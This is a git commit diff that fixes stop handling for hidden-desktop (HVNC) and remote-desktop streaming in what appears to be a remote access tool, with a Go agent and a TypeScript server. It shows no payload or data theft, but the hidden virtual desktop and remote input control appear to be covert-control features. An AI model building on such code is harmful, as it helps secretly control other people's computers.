fix stopping
This commit is contained in:
@@ -30,6 +30,7 @@ var (
|
|||||||
virtualMonitorIndex int
|
virtualMonitorIndex int
|
||||||
virtualInitialized bool
|
virtualInitialized bool
|
||||||
virtualMu sync.Mutex
|
virtualMu sync.Mutex
|
||||||
|
virtualPlacementGen atomic.Uint64
|
||||||
|
|
||||||
virtualCursorEnabled bool
|
virtualCursorEnabled bool
|
||||||
virtualInputMu sync.Mutex
|
virtualInputMu sync.Mutex
|
||||||
@@ -131,6 +132,8 @@ func CleanupVirtualMode() {
|
|||||||
virtualMu.Lock()
|
virtualMu.Lock()
|
||||||
defer virtualMu.Unlock()
|
defer virtualMu.Unlock()
|
||||||
|
|
||||||
|
virtualPlacementGen.Add(1)
|
||||||
|
|
||||||
virtualDupState.mu.Lock()
|
virtualDupState.mu.Lock()
|
||||||
virtualDupState.close()
|
virtualDupState.close()
|
||||||
virtualDupState.mu.Unlock()
|
virtualDupState.mu.Unlock()
|
||||||
@@ -750,7 +753,8 @@ func StartVirtualProcess(filePath string) (uint32, error) {
|
|||||||
pid := pi.dwProcessId
|
pid := pi.dwProcessId
|
||||||
log.Printf("virtual: started process %q (pid=%d), moving windows to virtual monitor", filePath, pid)
|
log.Printf("virtual: started process %q (pid=%d), moving windows to virtual monitor", filePath, pid)
|
||||||
|
|
||||||
go moveProcessWindowsToVirtualMonitor(pid, bounds, baseline)
|
placementGen := virtualPlacementGen.Load()
|
||||||
|
go moveProcessWindowsToVirtualMonitor(pid, bounds, baseline, placementGen)
|
||||||
|
|
||||||
if pi.hThread != 0 {
|
if pi.hThread != 0 {
|
||||||
procCloseHandle.Call(pi.hThread)
|
procCloseHandle.Call(pi.hThread)
|
||||||
@@ -789,10 +793,13 @@ func virtualTopLevelWindowSet() map[uintptr]struct{} {
|
|||||||
return result
|
return result
|
||||||
}
|
}
|
||||||
|
|
||||||
func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, baseline map[uintptr]struct{}) {
|
func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, baseline map[uintptr]struct{}, placementGen uint64) {
|
||||||
hwndMap := make(map[uintptr]bool)
|
hwndMap := make(map[uintptr]bool)
|
||||||
|
|
||||||
for attempt := 0; attempt < 300; attempt++ {
|
for attempt := 0; attempt < 300; attempt++ {
|
||||||
|
if virtualPlacementGen.Load() != placementGen {
|
||||||
|
return
|
||||||
|
}
|
||||||
deskHwnd, _, _ := procGetDesktopWindow.Call()
|
deskHwnd, _, _ := procGetDesktopWindow.Call()
|
||||||
hwnd := getTopWindow(deskHwnd)
|
hwnd := getTopWindow(deskHwnd)
|
||||||
if hwnd == 0 {
|
if hwnd == 0 {
|
||||||
@@ -803,6 +810,10 @@ func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, base
|
|||||||
moved := 0
|
moved := 0
|
||||||
for hwnd != 0 {
|
for hwnd != 0 {
|
||||||
visible := isWindowVisible(hwnd)
|
visible := isWindowVisible(hwnd)
|
||||||
|
if !visible {
|
||||||
|
hwnd = getWindow(hwnd, GW_HWNDNEXT)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
var winPID uint32
|
var winPID uint32
|
||||||
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&winPID)))
|
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&winPID)))
|
||||||
@@ -836,10 +847,7 @@ func moveProcessWindowsToVirtualMonitor(pid uint32, bounds image.Rectangle, base
|
|||||||
if winH > bounds.Dy() {
|
if winH > bounds.Dy() {
|
||||||
winH = bounds.Dy()
|
winH = bounds.Dy()
|
||||||
}
|
}
|
||||||
flags := uintptr(SWP_NOZORDER | SWP_NOACTIVATE)
|
flags := uintptr(SWP_NOZORDER | SWP_NOACTIVATE | SWP_SHOWWINDOW)
|
||||||
if visible {
|
|
||||||
flags |= SWP_SHOWWINDOW
|
|
||||||
}
|
|
||||||
procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(winW), uintptr(winH), flags)
|
procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(winW), uintptr(winH), flags)
|
||||||
hwndMap[hwnd] = visible
|
hwndMap[hwnd] = visible
|
||||||
|
|
||||||
|
|||||||
@@ -172,6 +172,18 @@ func waitStreamStop(done <-chan struct{}, name string) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func stopVirtualStreamLocked(env *runtime.Env) {
|
||||||
|
env.VirtualMouseControl = false
|
||||||
|
env.VirtualKeyboardControl = false
|
||||||
|
env.VirtualCursorCapture = false
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
env.VirtualCancel()
|
||||||
|
}
|
||||||
|
waitStreamStop(env.VirtualDone, "hidden")
|
||||||
|
env.VirtualCancel = nil
|
||||||
|
env.VirtualDone = nil
|
||||||
|
}
|
||||||
|
|
||||||
func ensureHVNCInputWorker() {
|
func ensureHVNCInputWorker() {
|
||||||
hvncInputOnce.Do(func() {
|
hvncInputOnce.Do(func() {
|
||||||
hvncInputQueue = make(chan hvncInputEvent, 1024)
|
hvncInputQueue = make(chan hvncInputEvent, 1024)
|
||||||
@@ -696,6 +708,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
env.DesktopCancel = nil
|
env.DesktopCancel = nil
|
||||||
env.DesktopDone = nil
|
env.DesktopDone = nil
|
||||||
env.DesktopMu.Unlock()
|
env.DesktopMu.Unlock()
|
||||||
|
env.VirtualMu.Lock()
|
||||||
|
if env.VirtualCancel != nil {
|
||||||
|
log.Printf("hidden: stop requested via desktop_stop")
|
||||||
|
stopVirtualStreamLocked(env)
|
||||||
|
}
|
||||||
|
env.VirtualMu.Unlock()
|
||||||
if privacy.IsEnabled() {
|
if privacy.IsEnabled() {
|
||||||
privacy.Stop()
|
privacy.Stop()
|
||||||
log.Printf("privacy: auto-disabled on desktop stop")
|
log.Printf("privacy: auto-disabled on desktop stop")
|
||||||
@@ -1065,22 +1083,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
case "hvnc_stop":
|
case "hvnc_stop":
|
||||||
|
env.VirtualMu.Lock()
|
||||||
if env.VirtualCancel != nil {
|
if env.VirtualCancel != nil {
|
||||||
env.VirtualMu.Lock()
|
|
||||||
log.Printf("hidden: stop requested")
|
log.Printf("hidden: stop requested")
|
||||||
env.VirtualMouseControl = false
|
stopVirtualStreamLocked(env)
|
||||||
env.VirtualKeyboardControl = false
|
|
||||||
env.VirtualCursorCapture = false
|
|
||||||
if env.VirtualCancel != nil {
|
|
||||||
env.VirtualCancel()
|
|
||||||
}
|
|
||||||
waitStreamStop(env.VirtualDone, "hidden")
|
|
||||||
env.VirtualCancel = nil
|
|
||||||
env.VirtualDone = nil
|
|
||||||
env.VirtualMu.Unlock()
|
env.VirtualMu.Unlock()
|
||||||
sendCommandResultSafe(env, cmdID, true, "")
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
env.VirtualMu.Unlock()
|
||||||
env.HVNCMu.Lock()
|
env.HVNCMu.Lock()
|
||||||
log.Printf("hvnc: stop requested")
|
log.Printf("hvnc: stop requested")
|
||||||
env.HVNCMouseControl = false
|
env.HVNCMouseControl = false
|
||||||
|
|||||||
@@ -250,7 +250,7 @@ type WsLifecycleDeps = {
|
|||||||
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
|
cleanupDesktopAudioViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||||
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
|
sendHVNCCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||||
notifyConsoleClosed: (clientId: string, reason: string) => void;
|
notifyConsoleClosed: (clientId: string, reason: string) => void;
|
||||||
clearPendingNotificationScreenshots: (clientId: string) => void;
|
clearPendingNotificationScreenshots: (clientId: string) => void;
|
||||||
clearClientPluginState: (clientId: string) => void;
|
clearClientPluginState: (clientId: string) => void;
|
||||||
|
|||||||
@@ -5,8 +5,11 @@ import * as sessionManager from "../sessions/sessionManager";
|
|||||||
import type { SocketData } from "../sessions/types";
|
import type { SocketData } from "../sessions/types";
|
||||||
import type { ClientInfo } from "../types";
|
import type { ClientInfo } from "../types";
|
||||||
import {
|
import {
|
||||||
|
handleHVNCViewerMessage,
|
||||||
|
handleHVNCViewerOpen,
|
||||||
handleRemoteDesktopViewerMessage,
|
handleRemoteDesktopViewerMessage,
|
||||||
handleRemoteDesktopViewerOpen,
|
handleRemoteDesktopViewerOpen,
|
||||||
|
hvncStreamingState,
|
||||||
rdStreamingState,
|
rdStreamingState,
|
||||||
} from "./ws-console-rd-hvnc";
|
} from "./ws-console-rd-hvnc";
|
||||||
|
|
||||||
@@ -70,7 +73,11 @@ afterEach(() => {
|
|||||||
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
|
||||||
sessionManager.deleteRdSession(session.id);
|
sessionManager.deleteRdSession(session.id);
|
||||||
}
|
}
|
||||||
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||||
|
sessionManager.deleteHvncSession(session.id);
|
||||||
|
}
|
||||||
rdStreamingState.delete(clientId);
|
rdStreamingState.delete(clientId);
|
||||||
|
hvncStreamingState.delete(clientId);
|
||||||
clientManager.deleteClient(clientId);
|
clientManager.deleteClient(clientId);
|
||||||
}
|
}
|
||||||
clientIdsToCleanup.clear();
|
clientIdsToCleanup.clear();
|
||||||
@@ -150,3 +157,29 @@ describe("remote desktop viewer control", () => {
|
|||||||
expect(rdStreamingState.get(clientId)?.isStreaming).toBe(true);
|
expect(rdStreamingState.get(clientId)?.isStreaming).toBe(true);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe("hvnc viewer control", () => {
|
||||||
|
test("forwards hvnc_stop even when server stream state is stale", () => {
|
||||||
|
const clientId = `hvnc-stale-stop-${Date.now().toString(36)}`;
|
||||||
|
const { agentWs } = createClient(clientId);
|
||||||
|
const viewer = createMockWs({ role: "hvnc_viewer", clientId });
|
||||||
|
|
||||||
|
handleHVNCViewerOpen(viewer as any);
|
||||||
|
hvncStreamingState.set(clientId, {
|
||||||
|
isStreaming: false,
|
||||||
|
virtualMode: true,
|
||||||
|
display: 0,
|
||||||
|
quality: 90,
|
||||||
|
codec: "",
|
||||||
|
maxFps: 120,
|
||||||
|
lastFps: 0,
|
||||||
|
});
|
||||||
|
|
||||||
|
handleHVNCViewerMessage(viewer as any, JSON.stringify({ type: "hvnc_stop" }));
|
||||||
|
|
||||||
|
const commands = agentCommands(agentWs);
|
||||||
|
expect(commands.filter((msg) => msg.commandType === "hvnc_stop")).toHaveLength(1);
|
||||||
|
expect(commands.filter((msg) => msg.commandType === "webrtc_stop")).toHaveLength(1);
|
||||||
|
expect(hvncStreamingState.get(clientId)?.isStreaming).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|||||||
@@ -1179,13 +1179,11 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
const otherHvncViewers = sessionManager.getHvncSessionsForClient(clientId)
|
const otherHvncViewers = sessionManager.getHvncSessionsForClient(clientId)
|
||||||
.filter(s => s.id !== ws.data.sessionId);
|
.filter(s => s.id !== ws.data.sessionId);
|
||||||
if (otherHvncViewers.length === 0) {
|
if (otherHvncViewers.length === 0) {
|
||||||
if (state.isStreaming) {
|
sendHVNCCommand(target, "hvnc_stop", {});
|
||||||
sendHVNCCommand(target, "hvnc_stop", {});
|
sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
|
||||||
sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" });
|
state.isStreaming = false;
|
||||||
state.isStreaming = false;
|
hvncStreamingState.set(clientId, state);
|
||||||
hvncStreamingState.set(clientId, state);
|
logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
|
||||||
logger.debug(`[hvnc] stopped streaming for client ${clientId}`);
|
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
logger.debug(`[hvnc] ignoring hvnc_stop for client ${clientId} - ${otherHvncViewers.length} other viewer(s) still active`);
|
logger.debug(`[hvnc] ignoring hvnc_stop for client ${clientId} - ${otherHvncViewers.length} other viewer(s) still active`);
|
||||||
}
|
}
|
||||||
@@ -1408,8 +1406,20 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
export function sendHVNCCommand(target: ClientInfo, commandType: string, payload: any) {
|
export function sendHVNCCommand(target: ClientInfo | undefined, commandType: string, payload: any) {
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
|
if (!target) {
|
||||||
|
logger.warn(`[hvnc] send command skipped, target missing command=${commandType}`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
logger.debug(`[hvnc] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
|
||||||
|
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
|
||||||
|
metrics.recordCommand(commandType);
|
||||||
|
return true;
|
||||||
|
} catch (err) {
|
||||||
|
logger.error("[hvnc] send command failed", err);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
(globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||||
|
|||||||
Reference in New Issue
Block a user